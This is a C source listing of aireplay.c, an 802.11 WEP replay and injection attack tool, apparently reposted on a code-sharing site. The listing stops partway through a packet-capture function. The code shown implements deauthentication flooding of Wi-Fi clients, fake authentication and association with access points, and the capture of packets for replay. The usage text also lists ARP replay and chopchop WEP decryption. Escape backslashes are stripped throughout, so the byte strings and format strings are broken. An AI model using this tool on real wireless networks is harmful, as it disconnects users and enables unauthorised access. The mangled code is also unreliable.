aireplay.c
上传用户:fubang
上传日期:2009-06-18
资源大小:2071k
文件大小:72k
源码类别:

其他

开发平台:

Unix_Linux

  1. /*
  2.  *  802.11 WEP replay & injection attacks
  3.  *
  4.  *  Copyright (C) 2004,2005  Christophe Devine
  5.  *
  6.  *  WEP decryption attack (chopchop) developped by KoreK
  7.  *
  8.  *  This program is free software; you can redistribute it and/or modify
  9.  *  it under the terms of the GNU General Public License as published by
  10.  *  the Free Software Foundation; either version 2 of the License, or
  11.  *  (at your option) any later version.
  12.  *
  13.  *  This program is distributed in the hope that it will be useful,
  14.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  15.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  16.  *  GNU General Public License for more details.
  17.  *
  18.  *  You should have received a copy of the GNU General Public License
  19.  *  along with this program; if not, write to the Free Software
  20.  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  21.  */
  22. #include <linux/rtc.h>
  23. #include <linux/if_ether.h>
  24. #include <netpacket/packet.h>
  25. #include <sys/types.h>
  26. #include <sys/ioctl.h>
  27. #include <sys/wait.h>
  28. #include <sys/stat.h>
  29. #include <sys/time.h>
  30. #include <arpa/inet.h>
  31. #include <net/if.h>
  32. #include <unistd.h>
  33. #include <signal.h>
  34. #include <string.h>
  35. #include <stdlib.h>
  36. #include <stdio.h>
  37. #include <fcntl.h>
  38. #include <errno.h>
  39. #include <time.h>
  40. #include "pcap.h"
  41. #include "crctable.h"
  42. #define NULL_MAC        "x00x00x00x00x00x00"
  43. #define BROADCAST       "xFFxFFxFFxFFxFFxFF"
  44. #define ARPHRD_IEEE80211        801
  45. #define ARPHRD_IEEE80211_PRISM  802
  46. #define ARPHRD_IEEE80211_FULL   803
  47. #ifndef ETH_P_80211_RAW
  48. #define ETH_P_80211_RAW 25
  49. #endif
  50. #define DEAUTH_REQ      
  51.     "xC0x00x3Ax01xCCxCCxCCxCCxCCxCCxBBxBBxBBxBBxBBxBB" 
  52.     "xBBxBBxBBxBBxBBxBBx00x00x07x00"
  53. #define AUTH_REQ        
  54.     "xB0x00x3Ax01xBBxBBxBBxBBxBBxBBxCCxCCxCCxCCxCCxCC" 
  55.     "xBBxBBxBBxBBxBBxBBxB0x00x00x00x01x00x00x00"
  56. #define ASSOC_REQ       
  57.     "x00x00x3Ax01xBBxBBxBBxBBxBBxBBxCCxCCxCCxCCxCCxCC"  
  58.     "xBBxBBxBBxBBxBBxBBxC0x00x31x04x64x00"
  59. #define NULL_DATA       
  60.     "x48x01x3Ax01xBBxBBxBBxBBxBBxBBxCCxCCxCCxCCxCCxCC"  
  61.     "xBBxBBxBBxBBxBBxBBxE0x1B"
  62. #define RATES           
  63.     "x01x04x02x04x0Bx16x32x08x0Cx12x18x24x30x48x60x6C"
  64. char usage[] =
  65. "n"
  66. "  filter options:n"
  67. "n"
  68. "      -b bssid  : MAC address, Access Pointn"
  69. "      -d dmac   : MAC address, Destinationn"
  70. "      -s smac   : MAC address, Sourcen"
  71. "      -m len    : minimum packet lengthn"
  72. "      -n len    : maximum packet lengthn"
  73. "      -u type   : frame control, type    fieldn"
  74. "      -v subt   : frame control, subtype fieldn"
  75. "      -t tods   : frame control, To   DS bitn"
  76. "      -f fromds : frame control, From DS bitn"
  77. "      -w iswep  : frame control, WEP     bitn"
  78. "n"
  79. "  replay options:n"
  80. "n"
  81. "      -x nbpps  : number of packets per secondn"
  82. "      -p fctrl  : set frame control word (hex)n"
  83. "      -a bssid  : set Access Point MAC addressn"
  84. "      -c dmac   : set Destination  MAC addressn"
  85. "      -h smac   : set Source       MAC addressn"
  86. "      -e essid  : attack 1: set target AP SSIDn"
  87. "      -j        : attack 3: inject FromDS pktsn"
  88. "n"
  89. "  source options:n"
  90. "n"
  91. "      -i iface  : capture packets from this interfacen"
  92. "      -r file   : extract packets from this pcap filen"
  93. "n"
  94. "  attack modes:n"
  95. "n"
  96. "      -0 count  : deauthenticate all stationsn"
  97. "      -1 delay  : fake authentication with APn"
  98. "      -2        : interactive frame selectionn"
  99. "      -3        : standard ARP-request replayn"
  100. "      -4        : decrypt/chopchop WEP packetn"
  101. "n"
  102. "  aireplay %d.%d - (C) 2004,2005 Christophe Devinen"
  103. "n"
  104. "  usage: aireplay [options] <replay interface>n"
  105. "n";
  106. struct options
  107. {
  108.     unsigned char f_bssid[6];
  109.     unsigned char f_dmac[6];
  110.     unsigned char f_smac[6];
  111.     int f_minlen;
  112.     int f_maxlen;
  113.     int f_type;
  114.     int f_subtype;
  115.     int f_tods;
  116.     int f_fromds;
  117.     int f_iswep;
  118.     int r_nbpps;
  119.     int r_fctrl;
  120.     unsigned char r_bssid[6];
  121.     unsigned char r_dmac[6];
  122.     unsigned char r_smac[6];
  123.     char r_essid[33];
  124.     int r_fromdsinj;
  125.     char *s_face;
  126.     char *s_file;
  127.     int a_mode;
  128.     int a_count;
  129.     int a_delay;
  130. }
  131. opt;
  132. struct devices
  133. {
  134.     int fd_in,  arptype_in;
  135.     int fd_out, arptype_out;
  136.     int fd_rtc;
  137.     int is_wlanng;
  138.     int is_hostap;
  139.     int is_madwifi;
  140.     FILE *f_cap_in;
  141.     struct pcap_file_header pfh_in;
  142. }
  143. dev;
  144. struct ARP_req
  145. {
  146.     unsigned char *buf;
  147.     int len;
  148. };
  149. unsigned long nb_pkt_sent;
  150. unsigned char h80211[4096];
  151. unsigned char tmpbuf[4096];
  152. unsigned char srcbuf[4096];
  153. char strbuf[512];
  154. int ctrl_c, alarmed;
  155. void sighandler( int signum )
  156. {
  157.     if( signum == SIGINT )
  158.         ctrl_c++;
  159.     if( signum == SIGALRM )
  160.         alarmed++;
  161. }
  162. /* CRC checksum verification routine */
  163. int check_crc_buf( unsigned char *buf, int len )
  164. {
  165.     unsigned long crc = 0xFFFFFFFF;
  166.     
  167.     for( ; len > 0; len--, buf++ )
  168.         crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 );
  169.     crc = ~crc;
  170.     return( ( ( crc       ) & 0xFF ) == buf[0] &&
  171.             ( ( crc >>  8 ) & 0xFF ) == buf[1] &&
  172.             ( ( crc >> 16 ) & 0xFF ) == buf[2] &&
  173.             ( ( crc >> 24 ) & 0xFF ) == buf[3] );
  174. }
  175. /* wlanng-aware frame sending routing */
  176. int send_packet( void *buf, size_t count )
  177. {
  178.     int ret;
  179.     if( dev.is_wlanng && count >= 24 )
  180.     {
  181.         /* for some reason, wlan-ng requires a special header */
  182.         if( ( ((unsigned char *) buf)[0] & 3 ) != 3 )
  183.         {
  184.             memcpy( tmpbuf, buf, 24 );
  185.             memset( tmpbuf + 24, 0, 22 );
  186.             tmpbuf[30] = ( count - 24 ) & 0xFF;
  187.             tmpbuf[31] = ( count - 24 ) >> 8;
  188.             memcpy( tmpbuf + 46, buf + 24, count - 24 );
  189.             count += 22;
  190.         }
  191.         else
  192.         {
  193.             memcpy( tmpbuf, buf, 30 );
  194.             memset( tmpbuf + 30, 0, 16 );
  195.             tmpbuf[30] = ( count - 30 ) & 0xFF;
  196.             tmpbuf[31] = ( count - 30 ) >> 8;
  197.             memcpy( tmpbuf + 46, buf + 30, count - 30 );
  198.             count += 16;
  199.         }
  200.         buf = tmpbuf;
  201.     }
  202.     if( ( dev.is_wlanng || dev.is_hostap ) &&
  203.         ( ((uchar *) buf)[1] & 3 ) == 2 )
  204.     {
  205.         unsigned char maddr[6];
  206.         /* Prism2 firmware swaps the dmac and smac in FromDS packets */
  207.         memcpy( maddr, buf + 4, 6 );
  208.         memcpy( buf + 4, buf + 16, 6 );
  209.         memcpy( buf + 16, maddr, 6 );
  210.     }
  211.     ret = write( dev.fd_out, buf, count );
  212.     if( ret < 0 )
  213.     {
  214.         if( errno == EAGAIN || errno == EWOULDBLOCK ||
  215.             errno == ENOBUFS )
  216.         {
  217.             usleep( 10000 );
  218.             return( 0 );
  219.         }
  220.         perror( "write failed" );
  221.         return( -1 );
  222.     }
  223.     nb_pkt_sent++;
  224.     return( 0 );
  225. }
  226. /* madwifi-aware frame reading routing */
  227. int read_packet( void *buf, size_t count )
  228. {
  229.     int caplen, n = 0;
  230.     if( ( caplen = read( dev.fd_in, tmpbuf, count ) ) < 0 )
  231.     {
  232.         if( errno == EAGAIN )
  233.             return( 0 );
  234.         perror( "read failed" );
  235.         return( -1 );
  236.     }
  237.     if( dev.is_madwifi )
  238.         caplen -= 4;    /* remove the FCS */
  239.     memset( buf, 0, sizeof( buf ) );
  240.     if( dev.arptype_in == ARPHRD_IEEE80211_PRISM )
  241.     {
  242.         /* skip the prism header */
  243.         if( tmpbuf[7] == 0x40 )
  244.             n = 64;
  245.         else
  246.             n = *(int *)( tmpbuf + 4 );
  247.         if( n < 8 || n >= caplen )
  248.             return( 0 );
  249.     }
  250.     if( dev.arptype_in == ARPHRD_IEEE80211_FULL )
  251.     {
  252.         /* skip the radiotap header */
  253.         n = *(unsigned short *)( tmpbuf + 2 );
  254.         if( n <= 0 || n >= caplen )
  255.             return( 0 );
  256.     }
  257.     caplen -= n;
  258.     memcpy( buf, tmpbuf + n, caplen );
  259.     return( caplen );
  260. }
  261. int filter_packet( unsigned char *h80211, int caplen )
  262. {
  263.     int z, mi_b, mi_s, mi_d;
  264.     /* check length */
  265.     if( caplen < opt.f_minlen ||
  266.         caplen > opt.f_maxlen ) return( 1 );
  267.     /* check the frame control bytes */
  268.     if( ( h80211[0] & 0x0C ) != ( opt.f_type    << 2 ) &&
  269.         opt.f_type    >= 0 ) return( 1 );
  270.     if( ( h80211[0] & 0xF0 ) != ( opt.f_subtype << 4 ) &&
  271.         opt.f_subtype >= 0 ) return( 1 );
  272.     if( ( h80211[1] & 0x01 ) != ( opt.f_tods         ) &&
  273.         opt.f_tods    >= 0 ) return( 1 );
  274.     if( ( h80211[1] & 0x02 ) != ( opt.f_fromds  << 1 ) &&
  275.         opt.f_fromds  >= 0 ) return( 1 );
  276.     if( ( h80211[1] & 0x40 ) != ( opt.f_iswep   << 6 ) &&
  277.         opt.f_iswep   >= 0 ) return( 1 );
  278.     /* check the extended IV (TKIP) flag */
  279.     z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
  280.     if( opt.f_type == 2 && opt.f_iswep == 1 &&
  281.         ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 );
  282.     /* MAC address checking */
  283.     switch( h80211[1] & 3 )
  284.     {
  285.         case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
  286.         case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
  287.         case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
  288.         default: mi_b =  4; mi_d = 16; mi_s = 24; break;
  289.     }
  290.     if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 )
  291.         if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 )
  292.             return( 1 );
  293.     if( memcmp( opt.f_smac,  NULL_MAC, 6 ) != 0 )
  294.         if( memcmp( h80211 + mi_s,  opt.f_smac,  6 ) != 0 )
  295.             return( 1 );
  296.     if( memcmp( opt.f_dmac,  NULL_MAC, 6 ) != 0 )
  297.         if( memcmp( h80211 + mi_d,  opt.f_dmac,  6 ) != 0 )
  298.             return( 1 );
  299.     /* this one looks good */
  300.     return( 0 );
  301. }
  302. #define PCT { struct tm *lt; time_t tc = time( NULL ); 
  303.               lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", 
  304.               lt->tm_hour, lt->tm_min, lt->tm_sec ); }
  305. int do_attack_deauth( void )
  306. {
  307.     int i, n;
  308.     if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 )
  309.     {
  310.         printf( "Please specify a BSSID (-a).n" );
  311.         return( 1 );
  312.     }
  313.     if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 )
  314.         printf( "NB: this attack is more effective when targetingn"
  315.                 "a connected wireless client (-c <client's mac>).n" );
  316.     n = 0;
  317.     while( 1 )
  318.     {
  319.         if( opt.a_count > 0 && ++n > opt.a_count )
  320.             break;
  321.         usleep( 180000 );
  322.         if( memcmp( opt.r_dmac, NULL_MAC, 6 ) != 0 )
  323.         {
  324.             /* deauthenticate the target */
  325.             PCT; printf( "Sending DeAuth to station   -- STMAC:"
  326.                          " [%02X:%02X:%02X:%02X:%02X:%02X]n",
  327.                          opt.r_dmac[0],  opt.r_dmac[1],
  328.                          opt.r_dmac[2],  opt.r_dmac[3],
  329.                          opt.r_dmac[4],  opt.r_dmac[5] );
  330.             memcpy( h80211, DEAUTH_REQ, 26 );
  331.             memcpy( h80211 + 16, opt.r_bssid, 6 );
  332.             for( i = 0; i < 64; i++ )
  333.             {
  334.                 memcpy( h80211 +  4, opt.r_dmac,  6 );
  335.                 memcpy( h80211 + 10, opt.r_bssid, 6 );
  336.                 if( send_packet( h80211, 26 ) < 0 )
  337.                     return( 1 );
  338.                 usleep( 2000 );
  339.                 memcpy( h80211 +  4, opt.r_bssid, 6 );
  340.                 memcpy( h80211 + 10, opt.r_dmac,  6 );
  341.                 if( send_packet( h80211, 26 ) < 0 )
  342.                     return( 1 );
  343.                 usleep( 2000 );
  344.             }
  345.         }
  346.         else
  347.         {
  348.             /* deauthenticate all stations */
  349.             PCT; printf( "Sending DeAuth to broadcast -- BSSID:"
  350.                          " [%02X:%02X:%02X:%02X:%02X:%02X]n",
  351.                          opt.r_bssid[0], opt.r_bssid[1],
  352.                          opt.r_bssid[2], opt.r_bssid[3],
  353.                          opt.r_bssid[4], opt.r_bssid[5] );
  354.             memcpy( h80211, DEAUTH_REQ, 26 );
  355.             memcpy( h80211 +  4, BROADCAST,   6 );
  356.             memcpy( h80211 + 10, opt.r_bssid, 6 );
  357.             memcpy( h80211 + 16, opt.r_bssid, 6 );
  358.             for( i = 0; i < 128; i++ )
  359.             {
  360.                 if( send_packet( h80211, 26 ) < 0 )
  361.                     return( 1 );
  362.                 usleep( 2000 );
  363.             }
  364.         }
  365.     }
  366.     return( 0 );
  367. }
  368. int do_attack_fake_auth( void )
  369. {
  370.     time_t tt, tr;
  371.     struct timeval tv;
  372.     fd_set rfds;
  373.     int i, n, state, caplen;
  374.     int mi_b, mi_s, mi_d;
  375.     int x_send;
  376.     unsigned char ackbuf[14];
  377.     if( opt.r_essid[0] == '' )
  378.     {
  379.         printf( "Please specify an ESSID (-e).n" );
  380.         return( 1 );
  381.     }
  382.     if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 )
  383.     {
  384.         printf( "Please specify a BSSID (-a).n" );
  385.         return( 1 );
  386.     }
  387.     if( memcmp( opt.r_smac,  NULL_MAC, 6 ) == 0 )
  388.     {
  389.         printf( "Please specify a source MAC (-h).n" );
  390.         return( 1 );
  391.     }
  392.     memcpy( ackbuf, "xD4x00x00x00", 4 );
  393.     memcpy( ackbuf +  4, opt.r_bssid, 6 );
  394.     memset( ackbuf + 10, 0, 4 );
  395.     state = 0;
  396.     x_send = 4;
  397.     tt = time( NULL );
  398.     tr = time( NULL );
  399.     while( 1 )
  400.     {
  401.         switch( state )
  402.         {
  403.             case 0:
  404.                 state = 1;
  405.                 tt = time( NULL );
  406.                 /* attempt to authenticate */
  407.                 memcpy( h80211, AUTH_REQ, 30 );
  408.                 memcpy( h80211 +  4, opt.r_bssid, 6 );
  409.                 memcpy( h80211 + 10, opt.r_smac , 6 );
  410.                 memcpy( h80211 + 16, opt.r_bssid, 6 );
  411.                 PCT; printf( "Sending Authentication Requestn" );
  412.                 for( i = 0; i < x_send; i++ )
  413.                 {
  414.                     if( send_packet( h80211, 30 ) < 0 )
  415.                         return( 1 );
  416.                     if( send_packet( ackbuf, 14 ) < 0 )
  417.                         return( 1 );
  418.                 }
  419.                 break;
  420.             case 1:
  421.                 /* waiting for an authentication response */
  422.                 if( time( NULL ) - tt >= 2 )
  423.                 {
  424.                     if( x_send < 256 )
  425.                         x_send *= 2;
  426.                     else
  427.                     {
  428.                         printf(
  429.     "nAttack was unsuccessful. Possible reasons:nn"
  430.     "    * Perhaps MAC address filtering is enabled.n"
  431.     "    * Check that the BSSID (-a option) is correct.n"
  432.     "    * The driver hasn't been patched for injection.n"
  433.     "    * This attack sometimes fails against some APs.n"
  434.     "    * The card is not on the same channel as the AP.n"
  435.     "    * Injection is not supported AT ALL on HermesI,n"
  436.     "      Centrino, ndiswrapper and a few others chipsets.n"
  437.     "    * You're too far from the AP. Get closer, or lowern"
  438.     "      the transmit rate (iwconfig <iface> rate 1M).nn" );
  439.                         return( 1 );
  440.                     }
  441.                     state = 0;
  442.                 }
  443.                 break;
  444.             case 2:
  445.                 state = 3;
  446.                 x_send *= 2;
  447.                 tt = time( NULL );
  448.                 /* attempt to associate */
  449.                 memcpy( h80211, ASSOC_REQ, 30 );
  450.                 memcpy( h80211 +  4, opt.r_bssid, 6 );
  451.                 memcpy( h80211 + 10, opt.r_smac , 6 );
  452.                 memcpy( h80211 + 16, opt.r_bssid, 6 );
  453.                 n = strlen( opt.r_essid );
  454.                 if( n > 32 ) n = 32;
  455.                 h80211[28] = 0x00;
  456.                 h80211[29] = n;
  457.                 memcpy( h80211 + 30, opt.r_essid,  n );
  458.                 memcpy( h80211 + 30 + n, RATES, 16 );
  459.                 PCT; printf( "Sending Association Requestn" );
  460.                 for( i = 0; i < x_send; i++ )
  461.                 {
  462.                     if( send_packet( h80211, 46 + n ) < 0 )
  463.                         return( 1 );
  464.                     if( send_packet( ackbuf, 14 ) < 0 )
  465.                         return( 1 );
  466.                 }
  467.                 break;
  468.             case 3:
  469.                 /* waiting for an association response */
  470.                 if( time( NULL ) - tt >= 5 )
  471.                 {
  472.                     if( x_send < 256 )
  473.                         x_send *= 4;
  474.                     state = 0;
  475.                 }
  476.                 break;
  477.             case 4:
  478.                 if( opt.a_delay == 0 )
  479.                     return( 0 );
  480.                 if( time( NULL ) - tt >= opt.a_delay )
  481.                 {
  482.                     x_send = 4;
  483.                     state = 0;
  484.                     break;
  485.                 }
  486.                 if( time( NULL ) - tr >= 15 )
  487.                 {
  488.                     tr = time( NULL );
  489.                     PCT; printf( "Sending keep-alive packetn" );
  490.                     memcpy( h80211, NULL_DATA, 24 );
  491.                     memcpy( h80211 +  4, opt.r_bssid, 6 );
  492.                     memcpy( h80211 + 10, opt.r_smac,  6 );
  493.                     memcpy( h80211 + 16, opt.r_bssid, 6 );
  494.                     for( i = 0; i < 32; i++ )
  495.                         if( send_packet( h80211, 24 ) < 0 )
  496.                             return( 1 );
  497.                 }
  498.                 break;
  499.             default: break;
  500.         }
  501.         /* read one frame */
  502.         FD_ZERO( &rfds );
  503.         FD_SET( dev.fd_in, &rfds );
  504.         tv.tv_sec  = 1;
  505.         tv.tv_usec = 0;
  506.         if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )
  507.         {
  508.             if( errno == EINTR ) continue;
  509.             perror( "select failed" );
  510.             return( 1 );
  511.         }
  512.         if( ! FD_ISSET( dev.fd_in, &rfds ) )
  513.             continue;
  514.         caplen = read_packet( h80211, sizeof( h80211 ) );
  515.         if( caplen  < 0 ) return( 1 );
  516.         if( caplen == 0 ) continue;
  517.         if( caplen < 24 )
  518.             continue;
  519.         switch( h80211[1] & 3 )
  520.         {
  521.             case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
  522.             case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
  523.             case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
  524.             default: mi_b =  4; mi_d = 16; mi_s = 24; break;
  525.         }
  526.         /* check if the dest. MAC is ours and source == AP */
  527.         if( memcmp( h80211 + mi_d, opt.r_smac,  6 ) == 0 &&
  528.             memcmp( h80211 + mi_b, opt.r_bssid, 6 ) == 0 &&
  529.             memcmp( h80211 + mi_s, opt.r_bssid, 6 ) == 0 )
  530.         {
  531.             /* check if we got an deauthentication packet */
  532.             if( h80211[0] == 0xC0 && state == 4 )
  533.             {
  534.                 PCT; printf( "Got a deauthentication packet!n" );
  535.                 x_send = 4; state = 0;
  536.                 sleep( 3 );
  537.                 continue;
  538.             }
  539.             /* check if we got an disassociation packet */
  540.             if( h80211[0] == 0xA0 && state == 4 )
  541.             {
  542.                 PCT; printf( "Got a disassociation packet!n" );
  543.                 x_send = 4; state = 0;
  544.                 sleep( 3 );
  545.                 continue;
  546.             }
  547.             /* check if we got an authentication response */
  548.             if( h80211[0] == 0xB0 && state == 1 )
  549.             {
  550.                 state = 0; PCT;
  551.                 if( caplen < 30 )
  552.                 {
  553.                     printf( "Error: packet length < 30 bytesn" );
  554.                     sleep( 3 );
  555.                     continue;
  556.                 }
  557.                 if( h80211[24] != 0 || h80211[25] != 0 )
  558.                 {
  559.                     printf( "FATAL: algorithm != Open System (0)n" );
  560.                     sleep( 3 );
  561.                     continue;
  562.                 }
  563.                 n = h80211[28] + ( h80211[29] << 8 );
  564.                 if( n != 0 )
  565.                 {
  566.                     switch( n )
  567.                     {
  568.                     case  1:
  569.                         printf( "AP rejects the source MAC address ?n" );
  570.                         break;
  571.                     case 10:
  572.                         printf( "AP rejects our capabilitiesn" );
  573.                         break;
  574.                     case 13:
  575.                     case 15:
  576.                         printf( "AP rejects open-system authenticationn" );
  577.                         break;
  578.                     default:
  579.                         break;
  580.                     }
  581.                     PCT; printf( "Authentication failed (code %d)n", n );
  582.                     x_send = 4;
  583.                     sleep( 3 );
  584.                     continue;
  585.                 }
  586.                 printf( "Authentication successfuln" );
  587.                 state = 2;      /* auth. done */
  588.             }
  589.             /* check if we got an association response */
  590.             if( h80211[0] == 0x10 && state == 3 )
  591.             {
  592.                 state = 0; PCT;
  593.                 if( caplen < 30 )
  594.                 {
  595.                     printf( "Error: packet length < 30 bytesn" );
  596.                     sleep( 3 );
  597.                     continue;
  598.                 }
  599.                 n = h80211[26] + ( h80211[27] << 8 );
  600.                 if( n != 0 )
  601.                 {
  602.                     switch( n )
  603.                     {
  604.                     case  1:
  605.                         printf( "Denied (code  1), is WPA in use ?n" );
  606.                         break;
  607.                     case 10:
  608.                         printf( "Denied (code 10), open (no WEP) ?n" );
  609.                         break;
  610.                     case 12:
  611.                         printf( "Denied (code 12), wrong ESSID or WPA ?n" );
  612.                         break;
  613.                     default:
  614.                         printf( "Association denied (code %d)n", n );
  615.                         break;
  616.                     }
  617.                     sleep( 3 );
  618.                     continue;
  619.                 }
  620.                 printf( "Association successful :-)n" );
  621.                 tt = time( NULL );
  622.                 tr = time( NULL );
  623.                 state = 4;      /* assoc. done */
  624.             }
  625.         }
  626.     }
  627.     return( 0 );
  628. }
  629. int capture_ask_packet( int *caplen )
  630. {
  631.     time_t tr;
  632.     struct timeval tv;
  633.     struct tm *lt;
  634.     fd_set rfds;
  635.     long nb_pkt_read;
  636.     int i, j, n, mi_b, mi_s, mi_d;
  637.     FILE *f_cap_out;
  638.     struct pcap_file_header pfh_out;
  639.     struct pcap_pkthdr pkh;
  640.     if( opt.f_minlen  < 0 ) opt.f_minlen  =   40;
  641.     if( opt.f_maxlen  < 0 ) opt.f_maxlen  = 1500;
  642.     if( opt.f_type    < 0 ) opt.f_type    =    2;
  643.     if( opt.f_subtype < 0 ) opt.f_subtype =    0;
  644.     if( opt.f_iswep   < 0 ) opt.f_iswep   =    1;
  645.     tr = time( NULL );
  646.     nb_pkt_read = 0;
  647.     signal( SIGINT, SIG_DFL );
  648.     while( 1 )
  649.     {
  650.         if( time( NULL ) - tr > 0 )
  651.         {
  652.             tr = time( NULL );
  653.             printf( "rRead %ld packets...r", nb_pkt_read );
  654.             fflush( stdout );
  655.         }
  656.         if( opt.s_file == NULL )
  657.         {
  658.             FD_ZERO( &rfds );
  659.             FD_SET( dev.fd_in, &rfds );
  660.             tv.tv_sec  = 1;
  661.             tv.tv_usec = 0;
  662.             if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )
  663.             {
  664.                 if( errno == EINTR ) continue;
  665.                 perror( "select failed" );
  666.                 return( 1 );
  667.             }
  668.             if( ! FD_ISSET( dev.fd_in, &rfds ) )
  669.                 continue;
  670.             gettimeofday( &tv, NULL );
  671.             *caplen = read_packet( h80211, sizeof( h80211 ) );
  672.             if( *caplen  < 0 ) return( 1 );
  673.             if( *caplen == 0 ) continue;
  674.         }
  675.         else
  676.         {
  677.             /* there are no hidden backdoors in this source code */
  678.             n = sizeof( pkh );
  679.             if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
  680.             {
  681.                 printf( "r33[KEnd of file.n" );
  682.                 return( 1 );
  683.             }
  684.             if( dev.pfh_in.magic == TCPDUMP_CIGAM )
  685.                 SWAP32( pkh.caplen );
  686.             tv.tv_sec  = pkh.tv_sec;
  687.             tv.tv_usec = pkh.tv_usec;
  688.             n = *caplen = pkh.caplen;
  689.             if( n <= 0 || n > (int) sizeof( h80211 ) )
  690.             {
  691.                 printf( "r33[KInvalid packet length %d.n", n );
  692.                 return( 1 );
  693.             }
  694.             if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
  695.             {
  696.                 printf( "r33[KEnd of file.n" );
  697.                 return( 1 );
  698.             }
  699.             if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
  700.             {
  701.                 if( h80211[7] == 0x40 )
  702.                     n = 64;
  703.                 else
  704.                     n = *(int *)( h80211 + 4 );
  705.                 if( n < 8 || n >= (int) *caplen )
  706.                     continue;
  707.                 memcpy( tmpbuf, h80211, *caplen );
  708.                 *caplen -= n;
  709.                 memcpy( h80211, tmpbuf + n, *caplen );
  710.             }
  711.         }
  712.         nb_pkt_read++;
  713.         if( filter_packet( h80211, *caplen ) != 0 )
  714.             continue;
  715.         switch( h80211[1] & 3 )
  716.         {
  717.             case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
  718.             case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
  719.             case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
  720.             default: mi_b =  4; mi_d = 16; mi_s = 24; break;
  721.         }
  722.         printf( "nn        Size: %d, FromDS: %d, ToDS: %d",
  723.                 *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) );
  724.         if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 )
  725.         {
  726.             if( ( h80211[27] & 0x20 ) == 0 )
  727.                 printf( " (WEP)" );
  728.             else
  729.                 printf( " (WPA)" );
  730.         }
  731.         printf( "nn" );
  732.         printf( "             BSSID  =  %02X:%02X:%02X:%02X:%02X:%02Xn",
  733.                 h80211[mi_b    ], h80211[mi_b + 1],
  734.                 h80211[mi_b + 2], h80211[mi_b + 3],
  735.                 h80211[mi_b + 4], h80211[mi_b + 5] );
  736.         printf( "         Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02Xn",
  737.                 h80211[mi_d    ], h80211[mi_d + 1],
  738.                 h80211[mi_d + 2], h80211[mi_d + 3],
  739.                 h80211[mi_d + 4], h80211[mi_d + 5] );
  740.         printf( "        Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02Xn",
  741.                 h80211[mi_s    ], h80211[mi_s + 1],
  742.                 h80211[mi_s + 2], h80211[mi_s + 3],
  743.                 h80211[mi_s + 4], h80211[mi_s + 5] );
  744.         /* print a hex dump of the packet */
  745.         for( i = 0; i < *caplen; i++ )
  746.         {
  747.             if( ( i & 15 ) == 0 )
  748.             {
  749.                 if( i == 224 )
  750.                 {
  751.                     printf( "n        --- CUT ---" );
  752.                     break;
  753.                 }
  754.                 printf( "n        0x%04x:  ", i );
  755.             }
  756.             printf( "%02x", h80211[i] );
  757.             if( ( i & 1 ) != 0 )
  758.                 printf( " " );
  759.             if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 )
  760.             {
  761.                 for( j = ( ( i + 1 ) & 15 ); j < 16; j++ )
  762.                 {
  763.                     printf( "  " );
  764.                     if( ( j & 1 ) != 0 )
  765.                         printf( " " );
  766.                 }
  767.                 printf( " " );
  768.                 for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ )
  769.                     printf( "%c", ( h80211[i - 15 + j] <  32 ||
  770.                                     h80211[i - 15 + j] > 126 )
  771.                                   ? '.' : h80211[i - 15 + j] );
  772.             }
  773.             if( i > 0 && ( ( i + 1 ) & 15 ) == 0 )
  774.             {
  775.                 printf( " " );
  776.                 for( j = 0; j < 16; j++ )
  777.                     printf( "%c", ( h80211[i - 15 + j] <  32 ||
  778.                                     h80211[i - 15 + j] > 127 )
  779.                                   ? '.' : h80211[i - 15 + j] );
  780.             }
  781.         }
  782.         printf( "nnUse this packet ? " );
  783.         fflush( stdout );
  784.         scanf( "%s", tmpbuf );
  785.         printf( "n" );
  786.         if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' )
  787.             break;
  788.     }
  789.     pfh_out.magic         = TCPDUMP_MAGIC;
  790.     pfh_out.version_major = PCAP_VERSION_MAJOR;
  791.     pfh_out.version_minor = PCAP_VERSION_MINOR;
  792.     pfh_out.thiszone      = 0;
  793.     pfh_out.sigfigs       = 0;
  794.     pfh_out.snaplen       = 65535;
  795.     pfh_out.linktype      = LINKTYPE_IEEE802_11;
  796.     lt = localtime( &tv.tv_sec );
  797.     memset( strbuf, 0, sizeof( strbuf ) );
  798.     snprintf( strbuf,  sizeof( strbuf ) - 1,
  799.               "replay_src-%02d%02d-%02d%02d%02d.cap",
  800.               lt->tm_mon + 1, lt->tm_mday,
  801.               lt->tm_hour, lt->tm_min, lt->tm_sec );
  802.     printf( "Saving chosen packet in %sn", strbuf );
  803.     if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
  804.     {
  805.         perror( "fopen failed" );
  806.         return( 1 );
  807.     }
  808.     n = sizeof( struct pcap_file_header );
  809.     if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
  810.     {
